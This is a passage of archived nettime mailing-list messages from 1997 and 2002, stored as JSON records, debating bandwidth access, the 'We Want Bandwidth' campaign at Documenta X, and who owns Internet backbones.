Bandwidth important for all of us?\n\nIn the information society the social debate and social communication has\nincreasingly shifted from the physical public space to the electronic\npublic space; the communication space of electronic media. To have\nBandwidth means to be able to access information and put your own\ninformation inside this electronic space. This new public space can only\ntruly be called 'public' if bandwidth is distributed equally, so that every\nvoice can make itself be heard.\n\nWE DEMAND FROM NATIONAL, EUROPEAN, AND GLOBAL POLICY MAKERS THAT 10 % OF\nTHE WORLD'S DIGITAL BANDWIDTH WILL BE RESERVED FOR THE PUBLIC SPHERE\n\n\n(Some examples: Public Libraries, cyber caf\u00e9s, community networks such as\nthe Digital City Amsterdam, or the Internationale Stadt Berlin, community\nservices)\n\n\n# What are PUSH Media?\n\nPUSH MEDIA means that the Net turns into a hybrid of the existing Internet\nand other computer network structures and old and new forms of broadcast\nfor mass audiences. PUSH media exploit the potential of digital networking\nto create much more diversified models of content distribution.\nThe rise of PUSH MEDIA, however, threatens to marginalise existing\nlow-bandwidth ('Flinstone Speed') infrastructure and low-bandwidth access\nto essential information and communication services.\n\nPUSH MEDIA WIDEN THE GAP BETWEEN INFORMATION RICH AND INFORMATION POOR EVEN\nMORE\n\n\n# Why PUSH Back?\n\nTo PUSH Back means: Broadcast for all. Access to information and\ncommunication should be a fundamental democratic right. In the process of\naccelerating technological change and revolution the diversity of\ndemocratic voices is under threat and measures are called for to maintain\nthem. There should be continual support for the access and production\ninfrastructure of local producers and providers of content.\n\nWe demand that the European Union will emphasise and develop more decidedly\nthe social and cultural components of existing European Information and\nCommunication Technology (ICT) programmes.\n\n\nDEMAND THE SAME BANDWIDTH FOR ALL\n\n\n# References on the Internet:\nHybrid Workspace:\nhttp://www.documenta.de/workspace\nSociety for Old and New Media:\n http://www.waag.org\nWe Want Bandwidth!:\nhttp://www.waag.org/bandwidth\nWebster Bandwidth definition:\nhttp://www.nethotel.dk/ephos/en/thesauru/T892.htm\nJargon Bandwidth definition:\nhttp://nmsmn.com/~cservin/jargon/b/bandwidth.html\nAn atlas of Cyberspaces:\nhttp://www.geog.ucl.ac.uk/casa/martin/atlas/atlas.html\nInternet Domain Survey:\nhttp://www.nw.com/zone/WWW/top.html  Current world map of the Matrix and\nthe Internet: http://www3.mids.org/mapsale/world/index.html\nRomanian National Backbone network topology:\nhttp://www.rnc.ro/nb/nb.html\nUUnet backbone network map:\nhttp://www.uu.net/lang.en/network/\nBoardwatch Magazine list of Internet Service Providers:\nhttp://www.boardwatch.com/isp/backbone.htm\nCook report on evolving Internet Infrastructure:\nhttp://cookreport.com/evolving.html\nTelecommunications Map of the World  Bandwidth Conservation Society:\nhttp://www.infohiway.com/way/faster/index.html\n\n\nThe Bandwidth team  {AT}  the Hybrid Workspace\ndocumenta X - Kassel, 8 - 17 July 1997:\n\nThe Society for Old and New media is based in Amsterdam and designs\ninformation for public spaces. Prototypes, applications, products and\nsoftware are being developed - through the public research method - to\noffer people real possibilities to participate in the information society.\nThe society hosts the Tactical Media network and the Next 5 Minutes\nconferences.\n\nThe people of the Society for Old and New Media, Belissima & Hybrid\nWorkspace: Yariv Alterfin, Birgitte B\u00e8langer, Jan van den Berg, Simone\nBerghuys, Michael van Eeden, Thomax Kaulmann, Eric Kluitenberg, Mieke\nGerritzen, Ellen Pronk, Bastiaan Lips, Geert Lovink, Patrice Riemens, Pit\nSchulz, Thorsten Schilling, Martin Schitter, Mareen Stikker, Ace Suares,\nNina Meilof.\n\nSOCIETY FOR OLD AND NEW MEDIA\nDE WAAG Nieuwmarkt 4, 1012 CR Amsterdam\nTel: +31-20-557 9898 - Fax: +31-20-557 9880\nWeb sites: www.waag.org/bandwidth   &\nwww.icf.de/workspace\ne-mail: bandwidth {AT} waag.org\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00068.html",
                "list": "nettime_l",
                "author_name": "Eric Kluitenberg",
                "subject": "<nettime> Frequently Asked Questions about Bandwidth",
                "from": "eric {AT} media-gn.nl (Eric Kluitenberg)",
                "follow-up": [
                    {
                        "from": "Boris Groendahl <boris {AT} berlin.snafu.de>",
                        "content": "\nEric,\n\n>Internet network backbones are owned by the large telecom operators. There\n>is a continuous process of the concentration of power. The largest Internet\n>connectivity provider of the world, UUNet Technologies, owns most of the\n>infrastructure of Europe: EUnet. National EUnet-subsidiaries like EUnet\n>Germany have been bought in the last years by UUNET. UUNET is based in\n>Virginia, USA, 40% of its stock capital is owned by Microsoft corporation.\n\nDo you have any proof for the claim that MS owns 40% of UUNet? afaik, \nUUNet merged with WorldCom, Inc. and now acts as its subsidiary, but I \ndidn't find any information about who are WorldCom's shareholders.\n\nBoris.\n\n------  Boris Groendahl\n------  Texte Und Konzepte Fuer Medien\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00074",
                        "date": "Tue, 22 Jul 97 22:24:34 +0200",
                        "to": "\"Eric Kluitenberg\" <eric {AT} media-gn.nl>, <nettime-l {AT} Desk.nl>",
                        "message-id": "m0wqlU1&#45;000pbkC {AT} berlin.snafu.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00074.html",
                        "content-type": "text/plai",
                        "author_name": "Boris Groendahl",
                        "subject": "Re: <nettime> Frequently Asked Questions about Bandwidth"
                    }
                ],
                "message-id": "v02130500aff94d1b0251 {AT} [194.134.18.23]",
                "date": "Mon, 21 Jul 1997 18:30:50 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "eric {AT} media-gn.nl (Eric Kluitenberg)",
                "id": "00028",
                "content": "\nDear nettimers,\n\nAs part of the Hybrid Workspace experience, which devotes itself to the\ndemand for bandwidth right now, I've written a short text, which summarises\nsome issues related to bandwidth. For me they seemed to be key-issues,\ngiven the very short time span in which I had to write this text. I'm\nlooking forward to a productive disagreement..\n\nIf you're not in the physical neighbourhood, drop by at our web site:\nhttp://www.waag.org/bandwidth\n\nIf you are, we would enjoy to welcome you in the Hybrid Workspace, at the\nOrangerie / Documenta / Kassel.\n\nEric Kluitenberg\n\n------------------\n\n\nSome Remarks on the Question of Bandwidth\nby Eric Kluitenberg\n\nIt is not hard to see that the emergence of the graphical user interface\nfor the Internet, the world wide web, has greatly enhanced the public\ninterest and rising popularity of the Internet. Text communication and\ntext-retreival were already possible for many years before this sudden rise\nin public interest. Enhancing the public interest in networking\ntechnologies is part of a strategy to enlist a critical mass of the general\naudience in the world of computer mediated communication. This process\nstill seems the only functional strategy that will prevent these extremely\npowerful communication technologies to become the exclusive privilege of\ncorporate, state, scientific and other institutionalised users.\nThe attractivity of the Net for a wide variety of users, in this indirect\nsense, serves an important political purpose. As more and more of the\nsocial communication (i.e. the public sphere) is shifting from the physical\nspace to the electronic space, public participation in this electronic\npublic sphere also becomes more and more important. The democratic\npotential of networked communications can only be brought out by enlisting\nthis critical mass of general users, conversely the autocratic threat of a\nsecluded elite of information haves can similarly only be prevented by\nenlisting that same critical mass of the general audience.\n        Seen from this perspective the demand for more bandwidth reflects\nthe desire for an open and transparent communication space. Sufficient\nbandwidth for all is the prerequisite for enlisting the critical mass of\nusers in the general audience and keeping their attention. Down-load times\nof more than a minute will ultimately kill any attempt to get the wider\naudience to adopt this new medium and participate in the global infosphere.\n\nBut the issue, of course, is not that simple. The question is not simply\nwhether to have bandwidth or not, rather the question is what kind of\nbandwidth will be available for that general audience. The utopian vision\nof the Internet is that of an open, decentralised, horizontal, grass-roots\nconstructed, interconnected digital communication space. The intelligence\nof the system in this vision is spread out equally across the network. The\nintelligence in the network resides at the nodes, the decentralised\nmachines that operate the network, and in the biological information\nnetworks that interact with it (the human brains). The human user is the\nclassical prosumer, a hybrid creature as much a producer and a consumer of\ndigitised content. This ideology ciristalises in the 'dumb network <->\nsmart terminals' vision of the network.\n\nThe corporate interest in the network, in the end the powers that will\nconstruct the broadband channels we are now still dreaming of, has selected\nquite another outlook on the data space. In the search for the killer\napplication, the roles are divided according to those of the classical\nmarket economy. The producer  produces a product to be sold to a consumer\nwho consumes. The producer/consumer dichotomy, however, also gives rise to\na different picture of the network itself. Rather than the dispersed,\nhorizontal structure of the Net-utopians, the business models focus on big\ndata pipes that carry the weight of signals coming from the content factory\nto the individual homes of the individual consumer. The network is\nhybridised, big central pipes, very broadband access for the corporate\ninfo-factory, made to measure (low bandwidth) connections to the home.\n        The interface is defined by the standards of the consumer\nelectronics market. The Internet access node should be easier to operate\nthan an average VCR: 'Let's be serious who can really program her or his\nVCR back home?' Following this logic the data stream going into the house\nshould be big, out of the house the user only needs to be able to make\nchoices within the grand offerings of big daddy entertainment industry, and\nperhaps send out an occasional electronic letter. This ideology\nciristalises in the 'smart network <-> dumb terminals' vision of the\nnetwork.\n\nMeanwhile the enthusiastic amateurs can still do their own thing in some\nobscure side alley of the digital entertainment highway, where they remain\nunnoticed.\n\nA second major complication is the dichotomy between the west and the east\n(as pointed out by John Horvath) and even more pertinently between the\nnorth and the south. Bandwidth is one thing, the distribution of bandwidth\nquite another. Global communication networks sounds nice, but means very\nlittle. The division between high-bandwidth and low-bandwidth access is\ndrawn along economic lines (hardly a surprise). The bandwidth distribution\ntherefore closely mimics the geo-physical distribution of wealth in the\nreal space. More equally dispersed in the highly developed post-industrial\nsocieties, and highly condensed and pocketed in the 'lesser developed'\nregions of the earth.\nThe distribution of bandwidth, furthermore not only reflects the\ndistribution of economic power across the globe and across the different\nstrata of each society, it also intensifies it. More bandwidth for some,\nmeans less power for many who do not share in broadband luxury. Alternative\nnetworking structures are increasingly marginalised if the call for more\nbandwidth is not coupled with a call for an even distribution of bandwidth\nat the same time. The actual demand should therefore focus rather on\nbandwidth for all, instead of more bandwidth per se.\n\nWho knows, if someone devices a scheme to get rich of 'wiring the poor', it\nmight even happen by itself. If not let us recall some memorable words by\nJohn Horvath here:\n\n\"People are being kept off-line until they can not only afford access, but\nalso the ability to run applications that use a lot of bandwidth. Thus, by\ndemanding more bandwidth rather than concentrating on, and supporting the\ndevelopment of, less band-intensive web sites and applications, the\ndichotomy between \"us and them\" will linger on while the chasm separating\nthe rich and poor widens, perpetuating the social, economic, and political\ninjustices that such segregation breeds.\"\n\nJohn Horvath\nBudapest, Hungary\n\nIn short:\n\nWe Want Bandwidth!\n\nEqual Access Rights Now!\n\nBroadcast for All!\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Thu, 10 Jul 1997 12:29:51 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "v02130504afea74f8854f {AT} [129.125.30.160]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00028.html",
                "list": "nettime_l",
                "author_name": "Eric Kluitenberg",
                "subject": "<nettime> Some Remarks on the Question of Bandwidth"
            },
            {
                "content-type": "text/plai",
                "from": "stikker {AT} waag.org (Marleen Stikker)",
                "id": "00008",
                "content": "\nTHE SOCIETY FOR OLD AND NEW MEDIA  {AT}  HYBRID WORKSPACE\nDOCUMENTA X - KASSEL - GERMANY\nFROM 8 TO 17 JULY 1997\n\nWE WANT BANDWIDTH !\n\nWWW.DOCUMENTA.DE/WORKSPACE & WWW.WAAG.ORG/BANDWIDTH\n\nThe Society for Old and New Media is invited to the Documenta X to host the\nprogramme WE WANT BANDWIDTH in the context of the Hybrid Workspace .\n\nHybrid WorkSpace will transform the Orangerie in Kassel into an open media\nstudio to collect, select, connect, record, and distribute information and\ncontent. Hybrid Workspace can best be described as a temporary laboratory\nthat produces its own type of content. It also condenses the viewpoints and\npositions brought to Kassel by the '100 days - 100 guests' program into\nstreams of subjective approaches, represented in digital data. Distribution\nbeyond the Orangerie will be realised via selected zones on the Internet as\nwell as through print media and radio broadcasting.\n\nTHE PUSH FOR MORE BANDWIDTH\n\nIn the networked society the kind of bandwidth of your connection will\ndetermine whether you're in the game or out. It's not just about being\nflushed by the data-pipes, it's about setting your own trash against the\ndata-stream. It's about the vision of wired citizens as passive consumers\nof virtual corporate waste, versus the active prosumer, the critical\nconsumer and producer of digitised content.\nThere are still a lot of questions to be resolved. First of all, who will\nown the backbones of the digital freeways of the mind, and will we have\nenough space to cast our own content on its tracks? What effect will the\nvirtual monopolies have on the equal share in the data drive for everyone\nwho cares enough to bother about it.\nOn the other hand we might be just a reactionary phantom from a\ntechnologically outdated past, and soon we might be flooded by bit bearing\nmedia. So what are we going to do with unlimited bandwidth? Is the fetish\nphantasy of full feed, full speed communication just another screen on\nwhich to project the utopia of an universal understanding between people?\nIf everybody is a broadcaster, who will shut up and listen?\n\nDAILY PROGRAMME\n\nConnectivity Traces <> Visual Bandwidth\n\nThe Image of global bandwidth visualised for you in the Hybrid Workspace in\nKassel. A global perspective on the real dimensions of virtual space.\n\nDX Ping Project\n\nBandwidth measurement in the Hybrid Workspace:\nBandwidth = the power to speak = the ability to assert yourself = the power\nof access = the capital of the information economy.\nWe measure who owns the capital of the future.\n\nPUSH Back\n\n\"May we have your bandwidth please?\" will be a public research on the\nbandwidth of individuals. Please check the website - www/waag.org/bandwidth\n- to fill in the form.\n\nReports on Bandwidth\n\nDaily reports will be broadcasted from and displayed in the Hybrid\nWorkspace about the progress of the public demand for bandwidth during\nDocumenta X, the visiting guests, the global discussions and the local\nactions.\n\nDiscussions on Bandwidth\n\nThe workspace will host regular discussions on global and local Bandwidth,\nstarting  {AT}  15.00 hrs. Planned are:\n- Interview with Tom Keenan  (Media and the war in Bosnia )\n- Interview with Saskia Sassen\n- Discussion on Local Bandwidth in Kassel, organised in co-operation with\nHerbert Meyer.\n\nWith each passing day the Workspace will accelerate the demand for\nbandwidth to escape velocity.\n\n8 July - 2400 / 2400 bps - flinstonespeed\n9 July - 9600 / 9600 bps - obsolete\n10 July - 14k4 /14,4 kbps - last year's model\n11 July - 28k8 / 28,8 kbps - ok for now\n12 July - 33k6 / 33,6 kbps - too fast for most of us\n13 July - 56k / 56 kbps - only with a special modem\n14 July - 128k / 128 kbps - not for everybody\n15 July - T1 / 1,544 Mbps - some have it to their kitchen, some don't\n16 July - T2 / 6,132 Mbps - why not ?\n17 July - T3 / 44,736 Mbps - speed party !\n\nHOW TO CONTACT US\n\nDE WAAG / SOCIETY FOR OLD AND NEW MEDIA   {AT} \nDOCUMENTA X, ORANGERIE WORK SPACE\nMarleen( {AT} waag.org) Stikker / Mieke( {AT} vpro.nl) Gerritzen\nEric( {AT} media-gn.nl) Kluitenberg / Micha\u00ebl(mieg {AT} factory.org) van Eeden\nGeert( {AT} xs4all.nl) Lovink / Yariv Alterfin( {AT} xs4all.nl)\nJan( {AT} waag.org) van den Berg\n\nURL:  www.documenta.de/workspace & www.waag.org/bandwidth\nEMAIL:  bandwidth {AT} waag.org\nLOCATION: Orangerie, An der Karlsaue 20c, 34117 Kassel, Germany\nPHONE: +49 - 561 - 108890\nFAX: + 49 - 561 - 108891\n\n-------------------------------------------------------------------\nSociety for Old and New Media / Maatschappij voor Oude en Nieuwe Media\ntel: +31-20-557.9898 / fax: +31-20-557.9880 / www.waag.org\nName.Space: waag.free.zone\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 4 Jul 1997 20:24:39 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "v02140b10afe2f0512ce7 {AT} [194.134.18.32]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00008.html",
                "list": "nettime_l",
                "author_name": "Marleen Stikker",
                "subject": "<nettime> WORKSPACE DOCUMENTA: WE WANT BANDWIDTH !"
            },
            {
                "content-type": "text/plai",
                "from": "stikker {AT} waag.org (Marleen Stikker)",
                "id": "00009",
                "content": "\nOPROEP - AUFRUF - CALL\n\nCONTRIBUTIONS FOR: WE WANT BANDWIDTH !\n {AT}  HYBRID WORKSPACE DOCUMENTA X, KASSEL, GERMANY\nFROM 8 TO 17 JULY 1997\n\nIn the coming ten days the Society for Old and New Media will put the issue\nof Bandwidth up for a close examination. During this public research you\ncan visit us, both on site and on-line. Please send us all your Bandwidth\nreports. We will broadcast your reports and comments in the Hybrid\nWorkspace at the Documenta. Come and join our discussion in the news groups\nat the Workspace sites. (WWW.DOCUMENTA.DE/WORKSPACE &\nWWW.WAAG.ORG/BANDWIDTH). You can also participate in the regularly\norganised debates, off-line in Kassel.\n\nWe are interested in all your comments:\n+ Personal Statements\n+ The price and quality of your bandwidth\n+ Research on the ownership of bandwidth\n+ Manifesto's\n+ URL's\n+ Mapping of power\n+ Conspiracy Theories\n\nTHE PUSH FOR BANDWIDTH ?! {AT} \n\nIn the networked society the kind of bandwidth of your connection will\ndetermine whether you're in the game or out. It's not just about being\nflushed by the data-pipes, it's about setting your own trash against the\ndata-stream. It's about the vision of wired citizens as passive consumers\nof virtual corporate waste, versus the active prosumer, the critical\nconsumer and producer of digitised content.\nThere are still a lot of questions to be resolved. First of all, who will\nown the backbones of the digital freeways of the  mind, and will we have\nenough space to cast our own content on its tracks? What effect will the\nvirtual monopolies have on the equal share in the data drive for everyone\nwho cares enough to bother about it.\nOn the other hand we might be just a reactionary phantom from a\ntechnologically outdated past, and soon we might be flooded by bit bearing\nmedia. So what are we going to do with unlimited bandwidth?\nIs the fetish phantasy of full feed, full speed communication just another\nscreen on which to project the utopia of an universal understanding between\npeople? If everybody is a broadcaster, who will shut up and listen?\n\n\nHOW TO CONTACT US\n\nDE WAAG / SOCIETY FOR OLD AND NEW MEDIA   {AT} \nDOCUMENTA X, ORANGERIE WORKSPACE\nMarleen( {AT} waag.org) Stikker / Mieke( {AT} vpro.nl) Gerritzen\nEric( {AT} media-gn.nl) Kluitenberg / Micha\u00ebl(mieg {AT} factory.org) van Eeden\nGeert( {AT} xs4all.nl) Lovink / Yariv Alterfin( {AT} xs4all.nl)\nJan( {AT} waag.org) van den Berg\n\nURL:  www.documenta.de/workspace & www.waag.org/bandwidth\nEMAIL:  bandwidth {AT} waag.org\nLOCATION: Orangerie, An der Karlsaue 20c / 34117 Kassel, Germany\nPHONE: +49 - 561 - 108890\nFAX: + 49 - 561 - 108891\n\n-------------------------------------------------------------------\nSociety for Old and New Media / Maatschappij voor Oude en Nieuwe Media\ntel: +31-20-557.9898 / fax: +31-20-557.9880 / www.waag.org\nName.Space: waag.free.zone\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 4 Jul 1997 21:22:27 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "v02140b15afe2f7afe731 {AT} [194.134.18.32]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00009.html",
                "list": "nettime_l",
                "author_name": "Marleen Stikker",
                "subject": "<nettime> MAY WE HAVE YOUR BANDWIDTH PLEASE?"
            },
            {
                "id": "00081",
                "content": "\n\nthe broadband issue is of great interest for nettimers\nfor different reasons. the materiality\nof the internet besides the invested labour of users,\nis represented by its lowest layers, the physical one\nand the the one of switched packets. controling those\nlayers means controling the 'means of production'.\n\nnon-mainstream content shouldn't be hirarchized by\ndata-types. a usual text needs 40 kb, a usual audio track 4 MB,\nand a usual movie takes 800 MB (divx) and in DVD quality 4,5 GB.\nit would be a bit absurd, to claim that trough 'bandwidth\nscarcity' textual production would play a higher role in\ncultural production than other formats.\n\nthe cultural politics of the net are very much co-determined\nby it's economical basic conditions. the implications might\nbe different for producers, distributors, consumers and their\nvarious mixes, but it certainly matters if i have to pay\n6 euros per gigabyte or just 10 cents. the latter would be\npossible if kpnquest,  firstmark, globallcrossing and however\nthe fibreoptics backbones are called, would have made their\nfull capacity available to resellers.\n\ninterestingly there is not much investigative online journalism\nconcerning the developments of the bandwidth market.\na long time ago, i tried to remember nettimers to george gilder's\ndream of the bandwidth glut. like other messianic out-of-control\nconsultants he influenced the dot-com mania a lot, in its\nunderlaying ideology of hypergrowth. the negativity of this\nabsolute optimism turns out today as a phase of restauration,\na rethorics of dull praxis, a culture of looking backwards and\nhistorify the last glorious years. that not all nice ideas\nabout the future (like free bandwidth) get real as fast as promised\nby the cyber-prophets mean that they are completly wrong.\n\nfirst it seems that the users themselves stand in the way of\nan unlimited bandwidth future. enjoying the new\npossiblities of digital fluidity (p2p etc.) they activily\nsupported the crash of almost every 'soft' content driven\naudio, video, streaming or otherwise broadband driven\ndot-com project, which started with 'free services' in\nexpectation to \"buy out\" the \"free floating\" productivity\nof its users. this 'fall of the profit rate' resembles the story of\nimmaterial labour, the promises of communism... the question\nis what went wrong in building up a consciousness of the users?\n\nclear is, that there are no larger numbers of customers which\npay for the infrastructure layed out arround these glorious\ninfo-autobahn-plans, might they be called broadband, next generation mobile\nphones, video-telephony or flying cars. it is the tragedy\nof the wired economy, that the leading american technological dreams,\nwere inspired by a immature or at least incomplete intellectual culture\nand not by social needs. the broadband future was mostly described\nin scenarios resembling the techno-futurism beginning in the\n50ies, with fully automatic homes, and a user experience directly\ninspired by the narratives arround extraterrestial space colonialisation.\n\nlet's take another look at the laws of internet traffic.\ntoday just the costs of streaming down a 90 minute divx\nvideo with 1000kbps at the side of the host (website)\nis at least as high than what one has to pay to rent out\ntwo VHS tapes at the local video shop. (6 euro) any royality\npayments have to be added to it. if the video content industry\nwould be willing to compete with p2p services they would have\nto first find a way to pay prices for bandwidth which are\nnot 'free market prices', it possibly means they would simply\nown those backbone infrastructure, which is available for\na low price at the moment. once described heroically by\nneil stevenson, the big fibreoptic grid is \"for sale\" like\na ghost town after the gold rush.\n\nanother technology, called multicasting which would make internet\nbroadcast economical, is not happening yet, because some smart\ncompanies are customizing old switching protocols to the max,\ndeveloping 'smart routers' and therefore adding complexity on\nthe backbone level, instead of upgrading to the next stage.\nlegislation of standards is not taking place, because the\n'out of control' ideology still supports in the market forces.\n(see above)\n\nit is obvious that the future of broadband is delayed\nas long digital rights management, supported by copyright\nlaws which are written for and by the industry, plus all\nkinds of dirty tweaking of routing protocols, and caching\ntraffic is basically *closing* the internet modeled after what\nis known from private sattelite tv. in the moment payment\nschemes will be in place and alternatives can be shut down\ntechnically and legaly, very likely broadband will be\nthere immediatly.\n\nstrange is that in germany, the royality collectors are\nclaiming to get payed back for every piece of hardware,\ncd-burners, harddrives. the other option, that internet\ntraffic itself, through some kind of copy-tax, a per\ngigabyte fee for using the internet like radio stations\nor public tv is not considered yet.  it would  possibly\nenable the smaller content  holders and providers to run\nviable business models. it is again a mix of cultural\nbackwardness and \"mafia lobbyism\" which supports models\nwhich are not innovative and do not support small business.\nthe time in which filesharing is sponsored through\nDSL flatrates can be also over soon.\n\nthere are plenty of projects which really need \"public\nbandwidth\" to contine to provide their cultural content\nfor free, and i speak about many terabytes a month.\nthere is plenty of interest on the side of the users.\ni'd be interested if nettimers are interested to discuss\nthese practical issues on this list.\n\nit is one thing to make a \"we want bandwidth\" campaign\nsucessful, it is another to find 'open' ways to\ndistribute and allocate available public bandwidth\nusefully once you got a lot of it from your local\ncultural authority... so far institutions of\nmedia culture do not see their role in the tradition\nof a project like www.archive.org  maybe that can\nbe changed?\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00081.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "<nettime> where has all the bandwith gone?",
                "from": "Pit Schultz <pit {AT} klubradio.de>",
                "follow-up": [
                    {
                        "from": "Morlock Elloi <morlockelloi {AT} yahoo.com>",
                        "content": "\n> were inspired by a immature or at least incomplete intellectual culture\n> and not by social needs. the broadband future was mostly described\n\nAside, there is no such thing as \"social needs\" - that is the phrase used\nto justify whatever needs to be justified at the moment (to paraphrase\nfamous propagandist, \"when I hear 'social needs' I go for my gun\").\n\nThe issue with bandwidth is really simple. There is no content (outside\nmovie industry) to justify it. Average user has nothing to offer to\naverage user. Zilch. Zero. Average user is a dumb empty nitwit that may be\nable to create 0.5-1 kilobytes of original material per day. And outside\nhis own house he can't really force his family videos onto anyone. The\nonly other possible use would be videoconferencing, and guess what -\npeople don't really like to videoconference.\n\nSo almost all P2P bandwidth today is used for re-distribution of\ncommercial stuff or material made high-value by government intervention\n(\"illegal\"). Assuming that someone will find interest in making this\ncheaper in today's global juristiction is plain silly.\n\n> in scenarios resembling the techno-futurism beginning in the\n> 50ies, with fully automatic homes, and a user experience directly\n> inspired by the narratives arround extraterrestial space colonialisation.\n\nAs opposed to some \"natural\" societal evolution ? Bullshit. Masses were\nalways and always will be buying dreams.\n\n\n\n=====\nend\n(of original message)\n\nY-a*h*o-o (yes, they scan for this) spam follows:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00085",
                        "date": "Sun, 16 Jun 2002 20:14:45 -0700 (PDT)",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200206171746.NAA25157 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00085.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> where has all the bandwith gone?"
                    },
                    {
                        "from": "\"David Garcia\" <davidg {AT} xs4all.nl>",
                        "content": "\n> As opposed to some \"natural\" societal evolution ? Bullshit. Masses were\n> always and always will be buying dreams.\n\nThe fact that the masses (all of us I suppose) \"were and always will be\nbuying dreams\" does not mean that dreams are all we ever want or need.\n\nWhen my three year old daughter recently had to undergo operations on both\nher hips it was natural for us to look for what was out there in terms of\nthe knowledge that a hard pressed Dutch medical establishment was unable to\nprovide. We turned to the net to find what was known about her specialized\nhip condition and, surprise surprise, the really useful knowledge (that has\nbeen invaluable in helping us through this difficult process) came from a\nlist and website made, not by medical experts, but by fellow \"nitwits\", that\nis ordinary sufferers, and carers  pooling their knowledge and experience.\nFor instance how do you change a nappy when the bottom half of your child's\nbody is in plaster? There are good tips for this that even the nurses did\nnot know. And  the fact that a video of this process would have been most\nuseful shows that the bandwidth issue remains relevant here.\n\nBecause the net is comprised of so much more than the official networks of\npower and knowledge meant that we had access to a network of fellow \"dumb\nempty nitwits\" who had all undergone (or were undergoing) simmilar or\nrelated experiences. Isn't this why we value the net? Why its different from\nall previous forms of media. It is neither exclusively a mass nor an\nintimate medium but valuable hybrid allowing us to slide between the two.\n\n> Average user is a dumb empty nitwit that may be\n> able to create 0.5-1 kilobytes of original material per day. And outside\n> his own house he can't really force his family videos onto anyone.\n\nThroughout my daughter's months in plaster we have been keeping a video\ndiary (the video diary form has become a widely used form of personal\ntestimony which can, quite often, be of interest beyond ones own home).\n\nI am sure that if the bandwidth had been available many of us in the \"hip\nclub\" would have been interested in developing the kind of preparitory\nunderstanding that only audio visual material can provide.\n\nOur case is not a one off.. There is a vast invisible realm of vernacular\nknowledge and media production. Pit's wish to re-open the bandwidth question\nfor social needs (OK Morlock go for your gun, if you must) is valid and\nimportant. Sadly the nature of Morlock's intervention suggests that we may\nbe losing sight of the net's value as a resource for knowldge and experience\nwhich offers us so much more than the official version.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00090",
                        "date": "Tue, 18 Jun 2002 11:36:59 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206181645.MAA22337 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00090.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> where has all the bandwith gone?"
                    },
                    {
                        "from": "Andreas Broeckmann <abroeck {AT} transmediale.de>",
